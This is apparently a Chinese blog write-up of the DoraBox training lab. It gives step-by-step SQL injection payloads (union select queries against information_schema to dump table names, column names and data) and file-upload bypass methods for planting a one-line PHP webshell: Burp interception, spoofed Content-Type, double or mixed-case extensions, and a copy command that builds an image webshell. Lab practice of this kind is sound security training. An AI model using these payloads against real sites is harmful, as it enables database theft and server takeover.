DoraBox sql注入&文件上传
SQL注入
1.sqli数字型
判断是否存在注入点,执行1 and 1=1,有回显判断存在注入点

判断字段数,执行1 order by 3以及执行1 order by 4时报错,判断字段数为3

判断具体回显位,执行-1 union select 1,2,3

判断数据库名和当前用户名,执行-1 union select 1,database(),user()

执行 -1 union select 1,(select group_concat(table_name) from information_schema.tables where table_schema=database()),3
得到表名
执行 -1 union select 1,(select group_concat(column_name) from information_schema.columns where table_name='news'),3
得到表news的字段
执行 -1 union select 1,(select group_concat(title) from news),3
得到字段title下的数据
2.sqli字符型
ppps,字符型顾名思义,就是SQL语句中值读取为字符
补充以下:
判断是否存在注入点,执行1,然后执行1'(出现报错),再执行1'#,如下

余下和第一题一样,只是注意(#)
3.sqli搜索型
搜索型,没听过,那就随便输入观察回显的语句吧
出现了%的闭合方式,执行1%',报错,执行1%'#,有回显,余下和第一题相同

文件上传
1.任意文件上传
任意文件上传的话,就随便上传一个文件

因为可以随便上传文件,所以危险极大,可以上传一句话木马
2.js限制文件上传
先随便上传一个试试,得到一个这个

可以在此处对允许上传的文件类型直接进行修改或者使用burp suite抓包,改后缀名

欸,好像不能修改,那还是抓包吧,编写一个一句话木马,将一句话木马后缀写成可上传的,通过抓包进行修改


放包,就发现上传成功了,然后就可以连菜刀

3.mime限制文件上传
先试着上传,当上传文件位php文件时显示文件类型不对,搜索一下什么叫mime验证
MIME的作用 : 使客户端软件,区分不同种类的数据,例如web浏览器就是通过MIME类型来判断文件是GIF图片,还是可打印的PostScript文件。
资料:https://blog.csdn.net/h254532693/article/details/45128117
多用于指定一些客户端自定义的文件名,以及一些媒体文件打开方式每个MIME类型由两部分组成,前面是数据的大类别,例如声音 audio、图象 Image等,后面定义具体的种类。
Content-Type
MediaType,即是Internet Media Type,互联网媒体类型;也叫做MIME类型,在Http协议消息头中,使用Content-Type来表示具体请求中的媒体类型信息。
资料:https://www.fujieace.com/penetration-test/file-upload-mime.html
http请求的头文件资料:https://www.cnblogs.com/klb561/p/10090540.html
由以上资料可得出,我们需要修改content-type来让php文件正常上传,那么就开始抓包吧
将箭头所指方向修改成image/jpeg,或者其他的可上传的类型,放包,文件成功上传

4.扩展名限制文件上传
资料:https://www.cnblogs.com/zhaijiahui/p/10789251.html#autoid-5-2-0
根据资料我们进行尝试,修改为muma.php.jpg以及muma.pHp都可

5.内容限制文件上传
首先,内容限制,很明显修改后缀的方式不适用了,对此有两种方法
*头文件欺骗 ---> 利用文件上传过程中图像大小及相关信息检测,通常我们会使用getimagesize()函数,此函数会返回一个数组,使用getimagesize()函数检测,会判断文件是否是一个有效的图片文件,如果不是则会报错,我们可以使用文件头欺骗来绕过
资料:https://blog.csdn.net/zhijiandedaima/article/details/81506666
*利用copy命令合成一个图片马
资料:https://blog.csdn.net/qq_35669659/article/details/100584579
随便找一张后缀为.jpg图片,然后写一个一句话木马的php文件

利用copy命令copy 1.jpg /b + muma.php /a 2.jpg


可以得到一个包含有php内容的jpg文件,可以成功上传
DoraBox sql注入&文件上传的更多相关文章
- Kali Linux Web 渗透测试视频教程—第十一课-扫描、sql注入、上传绕过
Kali Linux Web 渗透测试视频教程—第十一课-扫描.sql注入.上传绕过 文/玄魂 原文链接:http://www.xuanhun521.com/Blog/2014/10/25/kali- ...
- PHP代码审计3-SQL注入,CSRF,动态函数执行与匿名函数执行,unserialize 反序列化漏洞,变量覆盖,文件管理,文件上传
SQL注入 审计语句 [输入参数] SELECT,DELETE,UPDATE,INSERT 防御 转义: 1.开启gpc:判断解析用户提示的数据 2.mysql_real_escape_string( ...
- [一道蓝鲸安全打卡Web分析] 文件上传引发的二次注入
蓝鲸打卡的一个 web 文件上传引发二次注入的题解和思考 蓝鲸文件管理系统 源代码地址:http://www.whaledu.com/course/290/task/2848/show 首先在设置文件 ...
- 构建ASP.NET MVC4+EF5+EasyUI+Unity2.x注入的后台管理系统(32)-swfupload多文件上传[附源码]
原文:构建ASP.NET MVC4+EF5+EasyUI+Unity2.x注入的后台管理系统(32)-swfupload多文件上传[附源码] 文件上传这东西说到底有时候很痛,原来的asp.net服务器 ...
- PHP文件上传,下载,Sql工具类!
PHP文件上传,下载,Sql工具类! 对文件大小,文件类型 同名覆盖 中文转码的操作,可直接使用 前台 upload.html <!DOCTYPE html> <html> & ...
- 服务器文档下载zip格式 SQL Server SQL分页查询 C#过滤html标签 EF 延时加载与死锁 在JS方法中返回多个值的三种方法(转载) IEnumerable,ICollection,IList接口问题 不吹不擂,你想要的Python面试都在这里了【315+道题】 基于mvc三层架构和ajax技术实现最简单的文件上传 事件管理
服务器文档下载zip格式 刚好这次项目中遇到了这个东西,就来弄一下,挺简单的,但是前台调用的时候弄错了,浪费了大半天的时间,本人也是菜鸟一枚.开始吧.(MVC的) @using Rattan.Co ...
- SpringBoot入门一:基础知识(环境搭建、注解说明、创建对象方法、注入方式、集成jsp/Thymeleaf、logback日志、全局热部署、文件上传/下载、拦截器、自动配置原理等)
SpringBoot设计目的是用来简化Spring应用的初始搭建以及开发过程.该框架使用了特定的方式来进行配置,从而使开发人员不再需要定义样板化的配置.通过这种方式,SpringBoot致力于在蓬勃发 ...
- dwz+jquery+fileupload+springmvc实现文件上传 及图片预览
1 前台jsp:文件的上传利用了iframe实现局部刷新功能.使用了apache的fileupload组件,用到的jar: commons-fileupload.jar,commons-io.jarD ...
- WEB安全:文件上传漏洞
文件上传漏洞过程 用户上传了一个可执行的脚本文件,并通过此脚本文件获得了执行服务器端命令的能力. 一般的情况有: 上传文件WEB脚本语言,服务器的WEB容器解释并执行了用户上传的脚本,导致代码执行: ...
随机推荐
- WTL设置对话框背影色
MainDlg.h // MainDlg.h : interface of the CMainDlg class // //////////////////////////////////////// ...
- C语言的体系结构--main函数存在的必然性(听杨力祥老师的课)
注:不是原创,课堂上听来的,防止遗忘,所以记下来! C语言包括两个部分:数据和函数,当然最终这两个部分都是要进入到计算机的内存中去. 函数在编译后生成可执行代码,存放在代码区:数据分为几种:局部与全局 ...
- VS debug下为什么多此一举jmp函数地址?
VS debug下为什么call 函数后,会jmp函数地址?多此一举? http://blog.csdn.net/viper/article/details/6332934 在写跑在main之前的时候 ...
- [css]画圆形标签
画圆形标签的窍门: 圆形是在padding和margin中间同时是padding的内切圆也是margin的外接圆 .circle{ width: 20px; height: 20px; display ...
- DOCKER 学习笔记9 Kubernetes (K8s) 生产级容器编排 上
前言 在上一节的学习中.我们已经可以通过最基本的 Docker Swarm 创建集群,然后在集群里面加入我们需要运行的任务 以及任务的数量 这样我们就创建了一个服务. 当然,这样的方式在我们本地虚拟机 ...
- Mario是一个基于.NETCore的简单快速开发框架
Mario .NET Core简单快速开发框架 Mario是一个基于.NET Core的简单快速开发框架 GitHub:https://github.com/deeround/Mario 技术特点 基 ...
- Thread Based Parallelism - Thread Synchronization With a Condition
Thread Based Parallelism - Thread Synchronization With a Condition from threading import Thread, Con ...
- [REDIS 读书笔记]第一部分 数据结构与对象 跳跃表
下面是跳跃表的基本原理,REDIS的实现大致相同 跳跃表的一个特点是,插入NODE是通过随机的方式来决定level的,比较奇特 下面是skipList的一个介绍,转载来的,源地址:http://ken ...
- Hapi+MySql项目实战数据库操作(四)
数据库访问 下面以Node的ORM框架Sequelize来操作数据库,Mysql为例. 配置数据库连接信息config/db_config.js: //db_config.js module.expo ...
- PYTHON 学习笔记3 元组、集合、字典
前言 在上一节的学习中.学习了基本的流程控制语句,if-elif-else for while 等,本节将拓展上一节学习过的一些List 列表当中操作的一些基本方法,以及元祖.序列等. 列表扩展 我们 ...